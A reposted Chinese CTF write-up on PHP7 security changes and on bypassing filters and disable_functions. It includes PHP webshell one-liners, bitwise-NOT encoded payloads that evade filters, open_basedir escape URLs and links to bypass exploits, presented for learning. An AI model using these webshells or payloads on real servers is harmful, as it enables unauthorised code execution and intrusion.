php数字取反,[转+自]关于PHP7的新特性(涉及取反和disabled_functions绕过)

PHP7和PHP5上的安全区别

preg_replace()不再支持/e修饰符

利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述:

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

PHP5:

PHP7:

OR:

function backdoor($a)

{

// 通常: $a[0]是完成的匹配

// $a[1]是第一个捕获子组的匹配

// 以此类推

return eval($a[0]);

}

echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);

?>

create_function()被废弃

$func =create_function('',$_POST['cmd']);$func();

?>

unserialize()增加一个可选白名单参数

略过。。

assert()默认不再可以任意执行代码(assert和eval的区别)

这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

提一下,菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。

这里说一下assert和eval的区别。

php7中规定了php.ini中的zend.assertions来限制assert。我自己实验,ubuntu安装php7.0后,zend.assertions=-1,默认并不是1。

176227d9169c4a227f74d3012d0165a5.png

eval函数中参数是字符,如:

eval('echo 1;');

assert函数中参数为表达式 (或者为函数),如:

assert(phpinfo())

直接传递普通代码是无法执行的,如:assert('echo 1;');

需要换成assert(eval('echo 1;'));

还有php中有可变函数的定义,比如

20624b0053e5f6bf8ecdc86aa9268646.png

但是eval()是语言结构,并不是函数,不能作为这样来调用,所以为什么一句话木马里没有将eval用字符串拼接替换,而是用assert(在7.1之前),7.1的新特性就是assert作为语言结构,不能再动态的去执行,比如$_POST['1']($_POST['2']);1=assert,2=system('ls')。

但是我测试了很多次,发现php7.0中依然assert可以作为可变函数去执行,命令,并不是像eval一样的语言结构,无法作为可变函数,assert再7.0.12,7.1中依然可以作为可变函数。

但是assert确实无法作为一句话木马,经过测试php7.0中仍然可以通过$_POST['1']($_POST['2'])来实现一句话木马功能,但是7.1中,assert(xx) xx只能是函数,而不是作为字符串。

7318e1b9845d25acf352b3f5da7f0e63.png

3d5105eb0b8836d951771a0059e6c8ac.png

常见语言结构列表

echo()

print()

die()

isset()

unset()

include(),注意,include_once()是函数

require(),注意,require_once()是函数

array()

list()

empty()

十六进制字符串不再被认为是数字

这个修改一出,以后CTF套路会少很多啊~

很多骚操作都不能用了~

可以见ISCC的一道题目,intval处理不了16进制字符串返回0,+1,被强制转化10进制+1

不向后兼容的变更(移除了 ASP 和 script PHP 标签)

现在只有<?php ?>这样的标签能在php7上运行

68740419176174a94181ee16fdbcc582.png

移除&ltscript language="php">和<%这两种另类的php标签

废弃容易导致变量覆盖的无第二个参数的parse_str

php7函数调用解析方式,实际题目分析

error_reporting(0);

if(isset($_GET['code'])){

$code=$_GET['code'];

if(strlen($code)>40){

die("This is too Long.");

}

if(preg_match("/[A-Za-z0-9]+/",$code)){

die("NO.");

}

@eval($code);

}

else{

highlight_file(__FILE__);

}

highlight_file(__FILE);

// ?>

这道题目时evoA师傅在极客大挑战中出的一道题目,相比上面的那道题目,这道题目不是简单的让我们去执行函数了,而是让我们通过限制,去进行目录查看执行命令等操作。仍然是用原来的方法,使用“~”

$a = "phpinfo";

echo urlencode(~$a);

%8F%97%8F%96%91%99%90 //phpinfo

f6199a14149610273cc981919795b554.png

执行一下phpinfo,查看一下被禁用的函数:

a39c0b3f012c3f7892a3b7a67e4b8a7d.png

pcntl_alarm

pcntl_fork

pcntl_waitpid

pcntl_wait

pcntl_wifexited

pcntl_wifstopped

pcntl_wifsignaled

pcntl_wifcontinued

pcntl_wexitstatus

pcntl_wtermsig

pcntl_wstopsig

pcntl_signal

pcntl_signal_get_handler

pcntl_signal_dispatch

pcntl_get_last_error

pcntl_strerror

pcntl_sigprocmask

pcntl_sigwaitinfo

pcntl_sigtimedwait

pcntl_exec

pcntl_getpriority

pcntl_setpriority

pcntl_async_signals

system

exec

shell_exec

popen

proc_open

passthru

symlink

link

syslog

imap_open

ld

dl

可以发现我们常用的执行系统命令的函数都被禁掉了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数

print_r(scandir('./'));

进行编码操作

%8F%8D%96%91%8B%A0%8D # print_r

%8C%9C%9E%91%9B%96%8D # scandir

尝试读取当前目录

(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

31ecf29d1784d4d2807b1a24778b6efe.png

发现了readflag和flag文件,尝试一下直接读取flag

readfile('/flag');

编码一下

%8D%9A%9E%9B%99%96%93%9A # readfile

%D0%99%93%9E%98 # /flag

尝试读取一下readflag文件

(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));

03551510009936112bcf7c1787a42201.png

可以看出是一个二进制文件,我们需要执行/readflag文件来读取字符串,但是我们常用执行系统函数的方法都被禁止了,但是经过fuzz发现,php的assert函数没有被禁止,我们可以使用assert函数写shell

assert($_POST['a']);

编码一下

%9E%8C%8C%9A%8D%8B # assert

%DB%A0%AF%B0%AC%AB # $_POST

%9E # a

尝试一下

(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);

6c44ff8df8db7aca48a69f24ab82c7da.png

//讲一下,这里我自己实验了下,貌似不能这种用法,带$_POST['x']这样的取反,只能函数中套函数。可能我深入的还不够,有师傅知道的,麻烦告诉我。

网页没有正常运行,继续尝试别的方法

在查看tmp目录下发现有其他内容

99a2760429e73f2bbf72c698a4d6c5d4.png

…某不知名大型跑马场,有现成的就很方便了,随便读一个shell看看内容

f80c1027327e34780af70a5b64205725.png

尝试文件包含一下

assert(include("hack.php"););

编码一下,执行命令

(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));

a201cb0bfc5461ce6aa3c950a43a02b3.png

//说说这里为什么直接结合了include和hack.php,因为include是结构语言,不是函数,因此不能作为可变函数调用,而是作为一个整体调用。

成功执行,使用蚁剑链接一下,上传我们的bypass脚本和拓展库,分享一下常用的两个

aa52e01bcbe5c385db1ed5a2cdcf27c8.png

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这个过程就不演示了,主要就是演示一下最后的利用,包含我们上传的文件

assert(include("ssll.php"););

(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);

执行命令

b2b2e780ab6758abf54e8d4e78567f17.png

成功拿到了flag。有了前面两道题目的基础,我们继续研究最后一道题目

我跟着这位师傅的文章,通过LD_PRELOA绕过获得flag,蚁剑的插件脚本没有成功。

714158975f5415dc807e0f04d0d8d9b1.png

好巧不巧,今天帮忙做的EIS的web第一题,ezbypass也是bypass disable_functions的题目,与SYC的异曲同工。

ezbypass

6c605accbdca248d90c4bb397032f64e.png

查看phpinfo

792c5f2e2199d69d21733135a2fb0fa8.png

899c418ccdc0cf4ba96c14b43bcf1aa4.png

先绕过open_basedir()去根目录查看文件

payload:

http://111.186.57.61:10101/?src=&cmd=mkdir(%22/tmp/yunying%22);chdir(%27/tmp/yunying/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27));

01e1b222e832c212e7abfa90323fd5b0.png

readflag,好像在红帽杯看到过这样的。是一个elf文件,要通过执行readflag去获取flag,flag是没权限直接去读的,必须通过readflag才行。

/flag

0f2a718a4bb00d5b170e290373f2ed99.png

/readflag

3dc68944ebe8cba047685ea91f137eae.png

但是我们这里看到,disable_functions中禁止了mail和putenv,这样的话,就不能通过LD_PRELOAD来绕过了。先去读下/tmp目录下的东西吧,估计有预置的马儿。

这里就很像syc的里面的题目的流程了,随便拿一个php看看

20e3cc99cf43886535a5bf99a3202d61.png

85bc80f5a3d75dcde7fcd8d5ffec3a68.png

我们可以通过assert包含马儿,然后通过绕过open_basedir的方法,直接连上马儿,直接能跨目录浏览。

url地址:

http://111.186.57.61:10101/?src=&cmd=chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');assert(include(%27/tmp/test.php%27));

连接密码:

cmd

结合绕过open_basedir和assert文件包含马儿,蚁剑连接后,可以绕过open_basedir的限制

187ee640d15439f58eb10fe2084e5645.png

蚁剑上的绕过disable_functions插件不是太好用。既然这里的LD_PRELOAD不好用,那就用json反序列化来绕过disable_functions

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

传入/tmp中,命令改为/readflag

bf4bd8b0a01b0645a4e8d6decf2f6598.png

然后通过刚刚的包含去读到exploit.php

payload:

http://111.186.57.61:10101/?src=&cmd=chdir(%27/tmp%27);assert(include(%27exploit.php%27));

99ba6c3a629ecee62061f7a0a448fc55.gif

第三道题目是有关waf的bypass,独立出一篇文章记录

学习文章:https://www.jianshu.com/p/40abc594a118

https://www.jianshu.com/p/40abc594a118

http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%E5%87%BD%E6%95%B0%E7%89%B9%E6%80%A7%E5%88%86%E6%9E%90/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/370995.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何关闭苹果手机自动扣费_教你关闭苹果手机系统的自动更新功能,旧手机还能再用几年!...

大家都知道&#xff0c;苹果手机在更新几个大版本后&#xff0c;手机不是变得非常卡&#xff0c;就是非常的耗电&#xff0c;大大的缩短了手机的使用寿命。所以&#xff0c;许多人都不会选择更新系统&#xff0c;但是手机只要连上WiFi并且在充电状态&#xff0c;就会在半夜自动…

HttpClient的使用

新引入Hutool-HttpUtil的使用&#xff08;更简单&#xff0c;更强大&#xff01;&#xff09;&#xff0c;详见&#xff1a;http://www.cnblogs.com/jiangbei/p/7667858.html 一、概述 1.简介 根据凡技术必登其官网的原则&#xff08;如果有&#xff09;&#xff0c;我们可以先…

四人帮–代理设计模式

代理是另一种结构设计模式 &#xff0c;可以“代表”另一个对象或“代替”另一个对象以访问后面的对象。 何时使用此模式&#xff1f; 当我们需要创建一个包装来覆盖客户端的主要对象的复杂性时&#xff0c;将使用代理模式。 有哪些使用场景&#xff1f; 虚拟代理–设想一种…

使用inetaddress测试目标可达性_PDPS软件机器人虚拟仿真:Smart Place功能介绍与使用方法...

概述对于机器人工作站或生产线的虚拟仿真&#xff0c;很大一部分的作用是找出机器人与工装夹具等外围设备的最佳布局位置。市面上大多数的工业机器人虚拟仿真软件都有这种专门用于检测机器人与外围设备之间最佳布局位置的功能&#xff0c;比如DELMIA软件中的“Auto Place”功能…

angular js 使用pdf.js_排名靠前的几个JS框架发展趋势和前景

转载自&#xff1a;葡萄城官网&#xff0c;葡萄城为开发者提供专业的开发工具、解决方案和服务&#xff0c;赋能开发者。原文出处&#xff1a;https://blog.bitsrc.io/top-5-javascript-frameworks-past-present-and-future-8b6fda39de02随着信息技术领域的发展&#xff0c;企业…

debian dhcp服务启动不了_DHCP服务器配置

DHCP &#xff1d; Dynamic Host Configuration Protocol 基于TCP/IP&#xff0c;用于动态配置工作站网络接口&#xff0c;使工作站的网络接口管理自动化。DHCP服务器软件dhcpd网站&#xff1a;http://www.isc.org安装方法&#xff1a;#tar -zxvf dhcp-4.0.0.tar.gz#cd dhcp-4.…

C++map类型 之 简单介绍

一&#xff1a;map的前世今生&#xff08;1&#xff09;从关联容器与顺序容器说起。关联容器通过键&#xff08;key&#xff09;存储和读取元素。而顺序容器则通过元素在容器中的位置顺序存储和訪问元素&#xff08;vector,queue,stack,list等&#xff09;。关联容器&#xff0…

MySql Socket 完成数据库的增查Demo

需求: 利用MySql数据库结合前端技术完成用户的注册(要求不使用Web服务技术),所以 Demo采用Socket技术实现Web通信. 第一部分:数据库创建 数据库采用mysql 5.7.18, 数据库名称为MyUser, 内部有一张表 user.字段有 Id,UserName,Psd,Tel 第二部分:数据库连接与Socket通信 创建控…

苹果桌面主题_看腻了手机自带的桌面主题,试试这个

在这个看脸的时代&#xff0c;颜值似乎越来越重要了。尤其是我们每天都要看到的手机桌面&#xff0c;如果它的颜值好一点&#xff0c;也许我们的心情会更好&#xff0c;所以有不少人都用手机自带的主题来美化桌面&#xff0c;但是对于喜欢个性的我们&#xff0c;手机自带的主题…

Java SE 11:推动Java向前发展

介绍 在我看来&#xff0c;这篇文章提出了Java语言应该如何发展以保持其作为首选语言的地位。 它还提供了一些我喜欢但有时&#xff08;可能永远不会&#xff09;成为Java一部分的功能&#xff0c;由于我将要解释的某些原因&#xff0c;这些功能有时我已经爱上了。 我真的很想…

Hexo使用细节及各种问题

解决markdown图片不显示(返回403 forbidden)、添加本地图片无法显示、修改文章page模板、同时部署发布同步到多个仓库站点(Github、coding、gitee 码云) 图片不显示 在使用过程中&#xff0c;会发现有的引用图片无法显示的问题。但是如果直接复制图片地址到浏览器打开的话显示…

智能小车37:异常在ARM、JAVA、硬件里的实现

几乎所有编程语言都有异常&#xff0c;可以说有程序就有异常。今天学习Arm的中断(异常)处理,联想到Java的异常,硬件中如何实现等问题&#xff0c;下面给大家分享一下。 一、Arm的中断。 1.触发异常 2.保存现场 3.cpu进入异常工作模式&#xff0c;程序指针(pc)跳入异常入口&…

c++builder提高批量动态创建panel的速度_骑行时影响速度的事项有哪些 怎样有效提高骑行速度 单车租赁信息...

撇开人的因素在自行车的组件中对车速影响最大的几项是什么?车重?自锁?轮组?传动?我的个人感受&#xff0c;从提高幅度上来讲&#xff0c;而不是重要性上来讲一、自锁起码提高你50%的速度&#xff0c;我不用自锁和别人一起走AVS25就很辛苦了&#xff0c;用了自锁&#xff0…

哈希三道题

两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里不能重复出现。 你可以按任意…

zemax光学设计超级学习手册_穿越十年的一个ZEMAX光学设计案例

目前超过两千人的光学与光学设计方面的微信公众号&#xff0c;欢迎您&#xff01;穿越十年的一个ZEMAX光学设计案例作者&#xff1a;窗台小绿萝CAD&#xff0c;这个词已经深入到学习、工作很多年&#xff0c;翻译过来就是Computer Aided Design&#xff0c;计算机辅助设计。随着…

php基础是什么,php基础学什么?

有不少同学想要学习 PHP&#xff0c;但又不清楚 PHP 基础学什么&#xff0c;那么这篇文章告诉你。熟悉前端开发语言学习 PHP 之前&#xff0c;首先要学习前端语言包括 HTML、CSS、JS 等。等对前端语言有个大致掌握后&#xff0c;能编写一个 web 静态页面。学习 PHP 基本语法和函…

名为 cursor_jinserted 的游标不存在_生鲜电商存在的问题及对策解析:未来生鲜电商如何发展?...

生鲜电商的特点有哪些&#xff1f;生鲜电商特点&#xff1a;1,生鲜电商具有粘性高、重复购买率高、毛利高的“三高”特性&#xff1b;2,生鲜食品需要保鲜、冷藏、冷冻&#xff1b;3,生鲜食品保质期比较短&#xff1b;保存不易、对物流配送的条件要求极高&#xff1b;4,生鲜商品…

番石榴函数和Java 8 Lambdas

我最近阅读了Brian Goetz的《 Lambda的状况》 &#xff0c;在阅读了该文章之后&#xff0c;我想尝试使用Java 8 Lambda表达式。 Brian在他的文章中继续描述了将一种方法称为“功能”接口的接口。 功能接口几乎总是用作匿名类&#xff0c;其中ActionListener是规范示例。 这些“…

关于源码,反码,补码(正数--负数)---------(-128)自己的理解

以一个字节为例 1、无符号位&#xff0c;一个字节可以存放0~255共256个数字&#xff1b;有符号位存放-128~127共256个数字&#xff1b; 2、无符号全都表示为正数&#xff1b;有符号位则首位表示正负数&#xff0c;正数首位为0&#xff0c;负数首位为1&#xff08;因此在判断一个…

英特尔x722网卡驱动_产品详情 | 从核心到边缘,英特尔加速5G网络基础设施建设...

英特尔近期宣布推出无可比拟的5G基础设施芯片产品组合&#xff0c;包括一款面向无线基站的10纳米片上系统(SoC)英特尔凌动P5900&#xff0c;和一款面向5G网络处理的结构化ASIC&#xff0c;一款针对5G网络优化、提供基于GPS的高精度网络服务同步功能的以太网适配器。此外&#x…